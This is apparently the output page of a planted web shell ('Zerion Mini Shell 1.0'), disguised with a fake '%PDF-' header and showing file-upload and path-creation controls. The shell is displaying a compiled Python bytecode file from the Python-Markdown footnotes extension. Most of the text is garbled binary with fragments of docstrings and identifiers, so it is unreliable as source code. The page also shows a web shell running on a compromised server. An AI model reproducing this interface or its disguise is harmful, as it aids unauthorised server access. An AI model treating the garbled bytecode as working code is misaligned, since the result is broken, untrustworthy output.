%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/markdown/extensions/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/markdown/extensions/__pycache__/footnotes.cpython-312.pyc

�

���eFA���dZddlmZddlmZddlmZddlmZddl	m
Z
dd	lmZdd
lm
Z
ddlmZddlZddlZddlmcmZe
j*d
ze
j,zZe
j*dze
j,zZej2d�ZGd�de�ZGd�de�ZGd�de�ZGd�de
�ZGd�de
�ZGd�de�Z d�Z!y)z�
Adds footnote handling to Python-Markdown.

See the [documentation](https://Python-Markdown.github.io/extensions/footnotes)
for details.
�)�annotations�)�	Extension�)�BlockProcessor)�InlineProcessor)�
Treeprocessor)�
Postprocessor)�util)�OrderedDictN�zz1337820767766393qq�qq3936677670287331zzz(fnref)(\d+)c�t��eZdZdZ�fd�Zd�Zdd�Zd
dd�Z				dd�Zdd�Z	dd�Z
dd	�Zd
dd
�Zdd�Z
�xZS)�FootnoteExtensionz Footnote Extension. c���ddgddgddgddgd	d
gddgd
�|_	t�|�di|��d|_i|_t�|_|j�y)z Setup configs. z///Footnotes Go Here///z1The text string that marks where the footnotes goFz9Avoid name collisions across multiple calls to `reset()`.z↩zCThe text string that links from the footnote to the reader's place.�{}zCThe text string that links from the reader's place to the footnote.z$Jump back to footnote %d in the textznThe text string used for the title HTML attribute of the backlink. %d will be replaced by the footnote number.�:zFootnote separator.)�PLACE_MARKER�
UNIQUE_IDS�
BACKLINK_TEXT�SUPERSCRIPT_TEXT�BACKLINK_TITLE�	SEPARATORrN�)�config�super�__init__�
unique_prefix�
found_refs�set�	used_refs�reset)�self�kwargs�	__class__s  ��?/usr/lib/python3/dist-packages/markdown/extensions/footnotes.pyrzFootnoteExtension.__init__)s����
*�+^���R���`���[�!�7�>���*��%
���,	/�
���"�6�"����*,���#&�5����
�
��c���|j|�|j|_||_|jjj	t|�dd�d}|jj	t||�dd�|jj	t|�dd�|jj	t|�dd�|jj	t|�dd�y	)
z Add pieces to Markdown. �footnote�z\[\^([^\]]*)\]��2zfootnote-duplicate��N)
�registerExtension�parser�md�blockprocessors�register�FootnoteBlockProcessor�inlinePatterns�FootnoteInlineProcessor�treeprocessors�FootnoteTreeprocessor�FootnotePostTreeprocessor�postprocessors�FootnotePostprocessor)r#r1�FOOTNOTE_REs   r&�extendMarkdownz FootnoteExtension.extendMarkdownLs���
���T�"��i�i������
�	�	�!�!�*�*�+A�$�+G��UW�X�(��
���"�"�#:�;��#M�z�[^�_�	���"�"�#8��#>�
�B�O�	���"�"�#<�T�#B�DX�Z\�]�	���"�"�#8��#>�
�B�Or'c�x�t�|_|xjdz
c_i|_t	�|_y)z> Clear footnotes on reset, and prepare for distinct document. rN)r�	footnotesrrr r!�r#s r&r"zFootnoteExtension.resetes,��0;�
������a���������r'c��|s|S|}||jvr�|j|j�d�\}}tj	|�}|rBd|jd�t
|jd��dz|j�|fz}nd|d|j�|fz}||jvr��|jj|�||jvr|j|xxdz
cc<|Sd|j|<|S)z1 Get a unique reference if there are duplicates. r�%s%d%s%sr)	r!�split�
get_separator�	RE_REF_ID�match�group�int�addr)r#�	reference�found�original_ref�ref�rest�ms       r&�
unique_refzFootnoteExtension.unique_refls������ ���4�>�>�)�!����(:�(:�(<�a�@�I�C������$�A��&�!�'�'�!�*�c�!�'�'�!�*�o�a�6G��I[�I[�I]�_c�)d�d�	�&�#�q�$�2D�2D�2F��)M�M�	�
�4�>�>�)�	
�����9�%��4�?�?�*��O�O�L�)�Q�.�)���-.�D�O�O�L�)��r'c�&�����fd���|�}|S)z@ Return ElementTree Element that contains Footnote placeholder. c�0��|D]�}|jr4|jj�jd��dkDr||dfcS|jr4|jj�jd��dkDr||dfcS�|�}|���|cSy)Nr���TF)�text�find�	getConfig�tail)�element�child�	child_res�finderr#s   ��r&r[z:FootnoteExtension.findFootnotesPlaceholder.<locals>.finder�s���� �	
%���:�:��z�z���t�~�~�n�'E�F��K�$�g�t�3�3��:�:��z�z���t�~�~�n�'E�F��K�$�g�u�4�4�"�5�M�	��(�$�$�	
%�r'r)r#�root�resr[s`  @r&�findFootnotesPlaceholderz*FootnoteExtension.findFootnotesPlaceholder�s���	��T�l���
r'c�"�||j|<y)z' Store a footnote for later retrieval. N�r?)r#�idrTs   r&�setFootnotezFootnoteExtension.setFootnote�s��!����r�r'c�$�|jd�S)z Get the footnote separator. r)rVr@s r&rDzFootnoteExtension.get_separator�s���~�~�k�*�*r'c��|jd�r d|j�|j|fzSdj|j�|�S)z Return footnote link id. rz	fn%s%d-%szfn{}{})rVrDr�format)r#ras  r&�makeFootnoteIdz FootnoteExtension.makeFootnoteId�sI���>�>�,�'��$�"4�"4�"6��8J�8J�B�!O�O�O��?�?�4�#5�#5�#7��<�<r'c���|jd�r0|jd|j�|j|fz|�S|jdj	|j�|�|�S)z Return footnote back-link id. rzfnref%s%d-%sz	fnref{}{})rVrPrDrre)r#rarKs   r&�makeFootnoteRefIdz#FootnoteExtension.makeFootnoteRefId�sd���>�>�,�'��?�?�>�T�5G�5G�5I�4�K]�K]�_a�4b�#b�di�j�j��?�?�;�#5�#5�d�6H�6H�6J�B�#O�QV�W�Wr'c��t|jj��sytjd�}|jdd�tj|d�tj|d�}tjd�}|jd�jdd	�}t|jj�d
��D�]�\}}tj|d�}|jd
|j|��|jj||j|�t|�D]$}	|j|	�|j|	��&tjd�}
|
jdd|j|�z�|
jdd�|
jd|j!|��t"|
_t'|�s��|d}|j(dk(r+|j$t*z|_|j|
���\tj|d�}|j|
����|S)z/ Return `div` of footnotes as `etree` Element. N�div�classr)�hr�olrz%drr)�start�lira�a�href�#�footnote-backref�titlerS�p)�listr?�keys�etree�Elementr �
SubElementrV�replace�	enumeraterfr0�
parseChunk�append�removerhre�FN_BACKLINK_TEXTrT�len�tag�NBSP_PLACEHOLDER)
r#r\rjrm�surrogate_parent�backlink_title�indexraro�el�backlink�noderus
             r&�makeFootnotesDivz"FootnoteExtension.makeFootnotesDiv�s����D�N�N�'�'�)�*���m�m�E�"�������$�
����d�#�
�
�
�c�4�
(�� �=�=��/�����(8�9�A�A�$��M��"�4�>�>�#6�#6�#8��B�	'�I�E�2��!�!�"�d�+�B��F�F�4��,�,�R�0�1�
�K�K�"�"�#3�T�^�^�B�5G�H��+�,�
,���	�	�"�
� �'�'��+�
,��}�}�S�)�H��L�L���t�'=�'=�b�'A�!A�B��L�L��"4�5��L�L���%�%�e�,�
�-�H�M��2�w��"�v���8�8�s�?� $�	�	�,<� <�D�I��K�K��)��(�(��S�1�A��H�H�X�&�5	'�6�
r')�return�None)F)rJ�strrK�boolr�r�)r\�
etree.Elementr�z0tuple[etree.Element, etree.Element, bool] | None)rar�rTr�r�r�)r�r�)rar�r�r�)rar�rKr�r�r�)r\r�r�zetree.Element | None)�__name__�
__module__�__qualname__�__doc__rr=r"rPr^rbrDrfrhr��
__classcell__�r%s@r&rr&sK����!�FP�2��*�!��	9��("�+�=�X�*r'rc�~��eZdZdZej
dej�Zd�fd�Zd	d�Z	d
d�Z
dd�Zdd�Z�xZ
S)
r4z7 Find all footnote references and store for later use. z!^[ ]{0,3}\[\^([^\]]*)\]:[ ]*(.*)$c�F��t�|�|j�||_y�N)rrr0r?)r#r?r%s  �r&rzFootnoteBlockProcessor.__init__�s���
����)�)�*�"��r'c��y)NTr)r#�parent�blocks   r&�testzFootnoteBlockProcessor.test�s��r'c��|jd�}|jj|�}|�r�|jd�}|jd�g}||j	�djd�}|jj|�}|r}|d|j
�jd�}	dj|d|j|	�g�jd�|d<|jd||j
�d�nWdj|d|j|�g�jd�|d<|j|j|��dj|�}
|jj||
j��|d|j
�j�r2|jd|d|j
�jd��y|jd|�y)	z- Find, set, and remove footnote definitions. rrrN�
z

TF)�pop�RE�searchrG�end�lstriprn�rstrip�join�detab�insert�strip�extend�detectTabbedr?rb)r#r��blocksr�rOra�	fn_blocks�therest�m2�beforer)s           r&�runzFootnoteBlockProcessor.run�s����
�
�1�
���G�G�N�N�5�!��������B�������I��A�E�E�G�H�o�,�,�T�2�G�������(�B��!��"�(�(�*�-�4�4�T�:��#�y�y�)�A�,��
�
�6�8J�)K�L�S�S�TX�Y�	�!���
�
�a�������!5�6� $�y�y�)�A�,��
�
�7�8K�)L�M�S�S�TX�Y�	�!��� � ��!2�!2�6�!:�;��{�{�9�-�H��N�N�&�&�r�8�?�?�+<�=��Z�a�g�g�i� �&�&�(��
�
�a��z����	�!2�!9�!9�$�!?�@���
�
�a���r'c��g}|r�|djd�r�|jd�}|jj|�}|rh|d|j	�jd�}|j
|j|��|jd||j	�d�	|S|j
|j|��n	|S|r��|S)z� Find indented text and remove indent before further processing.

        Returns:
            A list of blocks with indentation removed.
        r�    Nr�)	�
startswithr�r�r�rnr�r~r�r�)r#r�r�r�rOr�s      r&r�z#FootnoteBlockProcessor.detectTabbeds����	���a�y�#�#�E�*��
�
�1�
���G�G�N�N�5�)���#�:�A�G�G�I�.�5�5�d�;�F��$�$�T�Z�Z��%7�8��M�M�!�U�1�7�7�9�:�%6�7����	�$�$�T�Z�Z��%6�7����)�(�r'c��|jd�}t|�D]\}}|jd�s�|dd||<�!dj|�S)z� Remove one level of indent from a block.

        Preserve lazily indented blocks by only removing indent from indented lines.
        r�r��N)rCr|r�r�)r#r��lines�i�lines     r&r�zFootnoteBlockProcessor.detab%sV��
���D�!�� ��'�	$�G�A�t����u�%����8��a��	$��y�y���r'�r?r)r�r�r�r�r�r�)r�r�r��	list[str]r�r�)r�r�r�r�)r�r�r�r�)r�r�r�r��re�compile�	MULTILINEr�rr�r�r�r�r�r�s@r&r4r4�s7���A�	����8�"�,�,�	G�B�#��"�H�:	 r'r4c�,��eZdZdZd�fd�Zdd�Z�xZS)r6zC `InlineProcessor` for footnote markers in a document's body text. c�2��t�|�|�||_yr�)rrr?)r#�patternr?r%s   �r&rz FootnoteInlineProcessor.__init__4s���
����!�"��r'c���|jd�}||jjj�v�r'tjd�}tj
|d�}|j
d|jj|d���|j
dd|jj|�z�|j
d	d
�|jjd�jt|jjj��j|�dz�|_
||jd�|jd�fSy
)Nr�suprpraT)rKrqrrrkzfootnote-refrr)NNN)rGr?rwrxryrzr rhrfrVrervr�rTrnr�)r#rO�datarar�rps      r&�handleMatchz#FootnoteInlineProcessor.handleMatch8s��
�W�W�Q�Z��
����)�)�.�.�0�0��-�-��&�C�� � ��c�*�A��G�G�D�$�.�.�:�:�2�T�:�J�K�
�E�E�&�#���� =� =�b� A�A�B�
�E�E�'�>�*��^�^�-�-�.@�A�H�H��T�^�^�-�-�2�2�4�5�;�;�B�?�!�C��A�F������
�A�E�E�!�H�,�,�#r')r�r�r?r)rOz
re.Match[str]r�r�r�z3tuple[etree.Element | None, int | None, int | None])r�r�r�r�rr�r�r�s@r&r6r61s���M�#�
$r'r6c�8�eZdZdZdd�Zd	d�Zd
d�Zdd�Zdd�Zy)
r9z% Amend footnote div with duplicates. c��||_yr�r`�r#r?s  r&rz"FootnotePostTreeprocessor.__init__K�	��"��r'c�2�|jd�D�]}|jjdd�dk(s�$|jdj|jj�d�\}}g}t
d|dz�D]k}tj|�}d|||jj�|fz|jd<|j|�|xjdz
c_
�mt|�d	}	|D]}|	j|��y
y
)zF Adjust current `li` and add the duplicates: `fnref2`, `fnref3`, etc. rprk�rsrqrrrBrSN)�iter�attrib�getrCr?rD�range�copy�deepcopyr~�offsetrv)
r#ro�
duplicates�linkrMrN�linksr��sib_linkr�s
          r&�add_duplicatesz(FootnotePostTreeprocessor.add_duplicatesNs����G�G�C�L�	�D��{�{���w��+�/A�A� �K�K��/�5�5�d�n�n�6R�6R�6T�VW�X�	��T���"�1�j�1�n�5�%�E�#�}�}�T�2�H�.8�C�����Hd�Hd�Hf�hl�;m�.m�H�O�O�F�+��L�L��*��K�K�1�$�K�	%��"�X�b�\��!�$�D��I�I�d�O�$��!	r'c�2�|jjdd�j|jj	�d�\}}dj||jj	�|�}|jjj|d�S)z3 Get the number of duplicate refs of the footnote. rar�rz	{}ref{}{}r)r�r�rCr?rDrer)r#ro�fnrN�link_ids     r&�get_num_duplicatesz,FootnotePostTreeprocessor.get_num_duplicatesbss���9�9�=�=��r�*�0�0����1M�1M�1O�QR�S���D��$�$�R����)E�)E�)G��N���~�~�(�(�,�,�W�a�8�8r'c�v�t|�D]+}|j|�}|dkDs�|j||��-y)z= Find duplicate footnotes and format and add the duplicates. rN)rvr�r�)r#r�ro�counts    r&�handle_duplicatesz+FootnotePostTreeprocessor.handle_duplicateshs>���v�,�	/�B��+�+�B�/�E��q�y��#�#�B��.�	/r'c���d|_|jd�D]J}|jjdd�dk(s�#|jd�D]}|j	|��J�Ly)z= Crawl the footnote div and add missing duplicate footnotes. rrjrkr�r)rmN)r�r�r�r�r�)r#r\rjrms    r&r�zFootnotePostTreeprocessor.runqsb������9�9�U�#�	�C��z�z�~�~�g�r�*�j�8��(�(�4�.��B��*�*�2�.���		r'Nr�)ror�r�rHr�r�)ror�r�rH)r�r�r�r��r\r�r�r�)	r�r�r�r�rr�r�r�r�rr'r&r9r9Hs��/�#��(9�/�	r'r9c� �eZdZdZdd�Zdd�Zy)r8z3 Build and append footnote div to end of document. c��||_yr�r`r�s  r&rzFootnoteTreeprocessor.__init__�r�r'c�b�|jj|�}|��|jj|�}|rc|\}}}t|�j	|�}|r$|j|�|j
||�y|j
|dz|�d|_y|j|�yy)Nr)	r?r�r^rvr�rr�rWr~)r#r\�footnotesDiv�resultrYr��isText�inds        r&r�zFootnoteTreeprocessor.run�s����~�~�6�6�t�<���#��^�^�<�<�T�B�F��(.�%��v�v��6�l�(�(��/����M�M�%�(��M�M�#�|�4��M�M�#��'�<�8�!%�E�J����L�)�$r'Nr�r��r�r�r�r�rr�rr'r&r8r8}s��=�#�*r'r8c� �eZdZdZdd�Zdd�Zy)r;z* Replace placeholders with html entities. c��||_yr�r`r�s  r&rzFootnotePostprocessor.__init__�r�r'c��|jt|jjd��}|jtd�S)Nrz&#160;)r{r�r?rVr�)r#rTs  r&r�zFootnotePostprocessor.run�s8���|�|��d�n�n�6�6��G�
���|�|�,�h�7�7r'Nr�)rTr�r�r�r�rr'r&r;r;�s��4�#�8r'r;c��tdi|��S)z/ Return an instance of the `FootnoteExtension` r)r)r$s r&�
makeExtensionr��s���&�v�&�&r')"r��
__future__rr�rr2r�inlinepatternsrr7r	r:r
r�collectionsrr�r��xml.etree.ElementTreerx�ElementTree�STX�ETXr�r�r�rErr4r6r9r8r;r�rr'r&�<module>r�s����#��,�,�*�*��#�	��%�%��8�8�4�4�t�x�x�?���8�8�4�4�t�x�x�?���B�J�J��'�	�o�	�o�dV �^�V �r$�o�$�.2�
�2�j*�M�*�.	8�M�	8�'r'

Zerion Mini Shell 1.0